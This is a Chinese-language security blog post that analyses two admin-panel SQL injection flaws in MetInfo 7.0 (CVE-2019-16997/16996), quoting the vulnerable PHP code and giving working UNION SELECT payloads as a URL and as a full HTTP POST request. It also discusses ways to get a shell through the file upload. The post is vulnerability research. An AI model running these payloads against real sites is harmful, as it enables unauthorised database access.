Metinfo7 后台注入及一些tips

Share on:

很可惜是个后台的注入

跟汤姆表哥再搞创宇的年度任务🤒,昨天发了metinfo6.2.0的组合拳,今天看了看官网有最新版的7.0,就下下来看了看,发现两枚注入,而且昨天的组合拳虽然增加了后缀校验,绕不过去了,呜呜呜。

sql injection 1

全局搜索where

app/system/parameter/include/class/parameter_op.class.php:165

 1public function paratem($listid = '',$module = '',$class1 = '',$class2 = '',$class3 = ''){
 2    global $_M;
 3
 4    $paralist = $this->get_para_list($module,$class1,$class2,$class3);
 5    foreach ($paralist as $key => $para) {
 6        $list = $this->parameter_database->get_parameters($module,$para['id']);
 7        $paralist[$key]['list'] = $list;
 8        if($para['type'] ==4 || $para['type'] ==2 || $para['type'] ==6){
 9            $values = array();
10            foreach ($list as $val) {
11                $query = "SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND info = '{$val['id']}' AND lang = '{$_M['lang']}'";
12                $para_value = DB::get_one($query);
13                if($para_value){
14                    $values[] = $para_value['info'];
15                }
16            }
17            $query = "SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'";
18            $para_value = DB::get_one($query);
19            $values = $para_value['info'];
20        }else{
21            $query = "SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'";
22            $para_value = DB::get_one($query);
23            $values = $para_value['info'];
24        }
25
26
27        if(is_array($values)){
28            $paralist[$key]['value'] = implode('|', $values);
29        }else{
30            $paralist[$key]['value'] = $values;
31        }
32    }
33    return $paralist;
34    ##require PATH_WEB.'app/system/include/public/ui/admin/paratype.php';
35}

发现{$listid}直接被拼接进sql语句,且listid是函数直接传进来的参数,搜索哪些函数调用了这个函数

20190928221736

app/system/product/admin/product_admin.class.php:171

 1public function dopara() {
 2    global $_M;
 3    if($_M['form']['app_type']=='shop'){
 4        $class1 = $_M['form']['class1'];
 5        $class2 = $_M['form']['class2'];
 6        $class3 = $_M['form']['class3'];
 7        $paralist = $this->para_op->paratem($_M['form']['id'],$this->module,$class1,$class2,$class3);
 8        require PATH_WEB . 'app/system/include/public/ui/admin/paratype.php';
 9    }else{
10        parent::dopara();
11    }
12}

$_M['form']['id']可控,那么sql语句就可控。

payload

1http://php.local/admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=2 union SELECT 1,2,3,user(),5,6,7 limit 5,1  -- +

sql injection 2

app/system/language/admin/language_general.class.php:108

 1public function doget_admin_pack($appno,$site,$editor)
 2{
 3    global $_M;
 4    $sql = $appno ? "AND app = {$appno}" : '';
 5    $language_data = array();
 6    if ($site == 'admin') {
 7        $query = "SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='1' {$sql}";
 8        $language_data = DB::get_all($query);
 9        $lang_pack_url = PATH_WEB . 'cache/language_admin_' . $editor . '.ini';
10    } else if ($site == 'web') {
11        $query = "SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='0' {$sql}";
12        $language_data = DB::get_all($query);
13        $lang_pack_url = PATH_WEB . 'cache/language_web_' . $editor . '.ini';
14    }
15
16    foreach ($language_data as $key => $val) {
17        file_put_contents($lang_pack_url, $val['name'] . '=' . $val['value'] . PHP_EOL, FILE_APPEND);
18    }
19}

$appno直接拼接 当site等于web或者admin时造成sql注入

找下有没有调用这个函数传参的

app/system/language/admin/language_general.class.php:90

 1public function doExportPack()
 2{
 3    global $_M;
 4
 5    if (!isset($_M['form']['editor']) || !$_M['form']['editor']) {
 6        $this->error($_M['word']['js41']);
 7    }
 8
 9    $editor = $_M['form']['editor'];
10    $site = isset($_M['form']['site']) ? $_M['form']['site'] : '';
11    $appno = $_M['form']['appno'] ? $_M['form']['appno'] : '';
12    $filename = PATH_WEB . 'cache/language_' . $site . '_' . $editor . '.ini';
13
14    delfile($filename);
15
16    //获取后台语言包
17    $this->doget_admin_pack($appno,$site,$editor);
18
19    $filename = realpath($filename);
20    header("");
21    Header("Content-type:  application/octet-stream ");
22    Header("Accept-Ranges:  bytes ");
23    Header("Accept-Length: " . filesize($filename));
24    header("Content-Disposition:  attachment;  filename=language_{$site}_" . $appno .'_'. $editor . ".ini");
25    //写日志
26    $log_name = $_M['form']['site'] ? 'langadmin' : 'langweb';
27    logs::addAdminLog($log_name,'language_outputlang_v6','jsok','doExportPack');
28    readfile($filename);
29}

看下代码,首先要传递参数editor跳出第一个if语句块,然后siteappno直接传入doget_admin_pack()函数,参数都可控,妥妥的注入。

payload

 1POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1
 2Host: php.local
 3Content-Length: 58
 4Origin: http://php.local
 5X-Requested-With: XMLHttpRequest
 6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
 7Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 8Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=40d2af28a4c309bbb824dc957af59b11; arrlanguage=metinfo; re_url=http%3A%2F%2Fphp.local%2Fadmin%2F; met_auth=65acz4xG7IkP%2BqmPuO%2FIvPsKt4luK6Te34p%2F2BHXEosgKHUwk8dKQRHs7y4Ea9mCH1egudtuz%2Bl02L3eIhMLs7%2FDMw; met_key=PLBqK9J; page_iframe_url=http%3A%2F%2Fphp.local%2Findex.php%3Flang%3Dcn%26pageset%3D1
 9Connection: close
10
11appno= 1 union SELECT user(),database()&editor=cn&site=web

20190928223704

组合拳

在前文中提到了metinfo6.2.0配合注入getshell的姿势,但是在metinfo7.0中增加了后缀校验,无法getshell,很可惜。

app/system/include/class/web.class.php:757

1if (stristr($filename, '.php')) {
2    jsoncallback(array('suc' => 0));
3}

但是这个点仍然可以上传其他后缀的文件,通过这个点配合解析漏洞或者文件包含来getshell未免不可行。

想到了htaccess和.user.ini的同学别费力气了,写文件没办法换行,如果有师傅有新姿势,欢迎评论指点啊!

总结

metinfo7.0的注入实际上还有很多,不过很多都是delete型的注入,我在这里挑了两个回显的注入,欢迎师傅们补充交流。

CVE-2019-16997 CVE-2019-16996

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。